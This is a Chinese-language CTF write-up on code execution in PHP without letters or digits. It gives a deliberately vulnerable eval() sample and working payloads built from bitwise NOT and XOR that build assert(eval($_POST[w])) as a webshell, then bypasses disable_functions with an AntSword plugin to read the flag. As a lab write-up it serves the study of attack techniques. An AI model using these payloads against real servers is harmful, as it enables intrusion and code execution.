打开靶场代码如下
分析得知 我们进行RCE的payload有限制 长度不能超过40 不能有字母和数字
这就是非常经典的无字母数字RCE
在此之前师傅们如果没有了解过无字母数字RCE的话需要先去了解 不然后面的内容会有点突兀
这里给一个经典的无字母数字RCE的代码 大家有兴趣可以去做测试
<?php
show_source(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['w'])) {
eval($_GET['w']);
}
无字母数字RCE有很多的方法 比如 异或 取反 自增 这里限制了长度 所以自增肯定是用不了了
自增的payload非常的长 所以这里使用取反和异或进行测试
这里给一个取反的demo
<?php
echo urlencode(~'phpinfo');
进行取反后就会得到一个url编码后的值
即 %8F%97%8F%96%91%99%90
这道题目有两种方法
方法1
通过取反和异或构造
取反payload如下
?code=$_=(~%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST[w])
异或的payload
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[w])
两个都可以使用
payload的注解如下
~%A0%B8%BA%AB 这个经过取反后的值为_GET "`{{{"^"?<>/";异或后的值也是_GET
取反后$_就等于_GET 那么${$_}[__] 就等于${_GET}[__] 以此类推 后面&符分割后进行赋值以此实现RCE
也就是说通过get传输一个值进行RCE 这里过滤了字母数字 所以使用了下划线 通过assert实现动态调用 构造出assert(eval($_POST[w])) 以此实现RCE 一次次的拼接实现RCE
也就是最后我们想要实现的是这样
<?php assert(eval($_POST[w])); post传入一个值实现RCE
$_这个大家可以理解为只是一个赋值变量这种
效果如下
通过phpinfo我们可以得知 这道题有disable_function ctrl+F 页面搜索即可
发现过滤了我们常用的system之类的命令
所以导致 我们在开始进行RCE时通过system执行whoami时没有反应 所以在比赛以及实战中 大家都优先查看phpinfo
有disable_function的存在所以我们构造的时通过assert实现动态调用 而不是直接system执行
注意assert在php7.1版本后就不支持了 这里不是7.1所以可以使用
至此我们可以连接蚁剑了
连接后发现根目录的flag为空 是因为我们的权限不够
这里就需要用到题目给出的readflag
这里直接说结论 通过蚁剑的插件实现disable绕过
当然也可以手工 手工比较麻烦 需要云服务器 这里使用插件即可
提一嘴 如果是windows服务器 绕过可能性不大
有些伙伴们可能没有这个插件 教程在后面
右键单击题目的链接 选择如下所示
点击开始就好 就会自动弹出一个窗口 可以执行命令了
flag到手
插件我们需要到插件市场中下载
进入后选择需要的下载即可 网速可能很慢 因为请求的是蚁剑的github
我们可以挂个代理
选择你代理对应的端口即可
测试连接保存就好
上面是第一种方法 第二种方法更简单也更简洁
方法2
直接使用取反
<?php
echo urlencode(~'assert');
echo '</br>';
echo urlencode(~'eval($_POST[w])');
payload如下
?code=(~%9E%8C%8C%9A%8D%8B)(~
%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%88%A2%D6);
通过post传一个w=phpinfo();
即可实现 连接蚁剑即可